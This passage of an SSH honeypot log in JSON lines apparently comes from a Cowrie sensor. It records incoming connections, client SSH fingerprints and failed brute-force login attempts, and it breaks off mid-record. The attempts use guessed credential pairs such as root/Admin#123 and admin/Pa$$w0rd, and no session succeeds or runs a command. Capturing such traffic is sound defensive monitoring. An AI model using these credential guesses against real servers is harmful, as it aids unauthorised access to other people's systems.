{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:51.615673Z","src_ip":"141.11.88.14","session":"2063c4928831","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":55742,"dst_ip":"10.17.0.5","dst_port":22,"session":"b363c0596791","protocol":"ssh","message":"New connection: 141.11.88.14:55742 (10.17.0.5:22) [session: b363c0596791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:56.082718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:56.143487Z","src_ip":"141.11.88.14","session":"b363c0596791","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:56.225895Z","src_ip":"141.11.88.14","session":"b363c0596791","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ahmad","password":"ahmad","message":"login attempt [ahmad/ahmad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:56.754521Z","src_ip":"141.11.88.14","session":"b363c0596791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:57.912516Z","src_ip":"141.11.88.14","session":"b363c0596791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":26410,"dst_ip":"10.17.0.5","dst_port":22,"session":"b139305bcbdb","protocol":"ssh","message":"New connection: 141.11.88.14:26410 (10.17.0.5:22) [session: b139305bcbdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:25:02.894866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:25:03.198714Z","src_ip":"141.11.88.14","session":"b139305bcbdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:25:03.202000Z","src_ip":"141.11.88.14","session":"b139305bcbdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"123456","message":"login attempt [master/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:25:03.952628Z","src_ip":"141.11.88.14","session":"b139305bcbdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:25:05.104403Z","src_ip":"141.11.88.14","session":"b139305bcbdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":46452,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a5b127e3382","protocol":"ssh","message":"New connection: 27.71.230.31:46452 (159.203.135.109:22) [session: 8a5b127e3382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:25:21.961946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:25:22.154560Z","src_ip":"27.71.230.31","session":"8a5b127e3382","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:25:22.593246Z","src_ip":"27.71.230.31","session":"8a5b127e3382","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin#123","message":"login attempt [root/Admin#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:25:28.945698Z","src_ip":"27.71.230.31","session":"8a5b127e3382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:25:30.279850Z","src_ip":"27.71.230.31","session":"8a5b127e3382","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":58902,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cc2733bce9c","protocol":"ssh","message":"New connection: 87.106.47.28:58902 (10.17.0.5:22) [session: 9cc2733bce9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:25:42.468936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:25:42.473312Z","src_ip":"87.106.47.28","session":"9cc2733bce9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:25:42.566931Z","src_ip":"87.106.47.28","session":"9cc2733bce9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Pa$$w0rd","message":"login attempt [admin/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:25:43.000383Z","src_ip":"87.106.47.28","session":"9cc2733bce9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:25:44.099756Z","src_ip":"87.106.47.28","session":"9cc2733bce9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":15034,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ca49da33238","protocol":"ssh","message":"New connection: 36.92.41.115:15034 (10.17.0.5:22) [session: 6ca49da33238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:07.771469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:07.776800Z","src_ip":"36.92.41.115","session":"6ca49da33238","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:08.037103Z","src_ip":"36.92.41.115","session":"6ca49da33238","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dev@2026","message":"login attempt [root/Dev@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:09.102577Z","src_ip":"36.92.41.115","session":"6ca49da33238","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:10.363396Z","src_ip":"36.92.41.115","session":"6ca49da33238","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":51194,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d53fe7c0467","protocol":"ssh","message":"New connection: 181.188.176.242:51194 (10.17.0.5:22) [session: 2d53fe7c0467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:26.018424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:26.024423Z","src_ip":"181.188.176.242","session":"2d53fe7c0467","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:26.189613Z","src_ip":"181.188.176.242","session":"2d53fe7c0467","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ahmad123","message":"login attempt [root/ahmad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:26.877685Z","src_ip":"181.188.176.242","session":"2d53fe7c0467","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:28.046676Z","src_ip":"181.188.176.242","session":"2d53fe7c0467","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5837,"dst_ip":"10.17.0.5","dst_port":22,"session":"9179434c5407","protocol":"ssh","message":"New connection: 196.188.93.169:5837 (10.17.0.5:22) [session: 9179434c5407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:37.142400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:37.146300Z","src_ip":"196.188.93.169","session":"9179434c5407","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:37.314890Z","src_ip":"196.188.93.169","session":"9179434c5407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jd@123456","message":"login attempt [root/Jd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:38.024311Z","src_ip":"196.188.93.169","session":"9179434c5407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:39.193325Z","src_ip":"196.188.93.169","session":"9179434c5407","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":2816,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9771bb09e38","protocol":"ssh","message":"New connection: 177.85.247.230:2816 (10.17.0.5:22) [session: a9771bb09e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:47.616833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:47.621837Z","src_ip":"177.85.247.230","session":"a9771bb09e38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:47.725344Z","src_ip":"177.85.247.230","session":"a9771bb09e38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jerry","password":"jerry123","message":"login attempt [jerry/jerry123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:48.174637Z","src_ip":"177.85.247.230","session":"a9771bb09e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:26:49.282468Z","src_ip":"177.85.247.230","session":"a9771bb09e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":35730,"dst_ip":"10.17.0.5","dst_port":22,"session":"44b523a1f4cd","protocol":"ssh","message":"New connection: 45.78.204.254:35730 (10.17.0.5:22) [session: 44b523a1f4cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:27:18.083256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:27:18.089772Z","src_ip":"45.78.204.254","session":"44b523a1f4cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":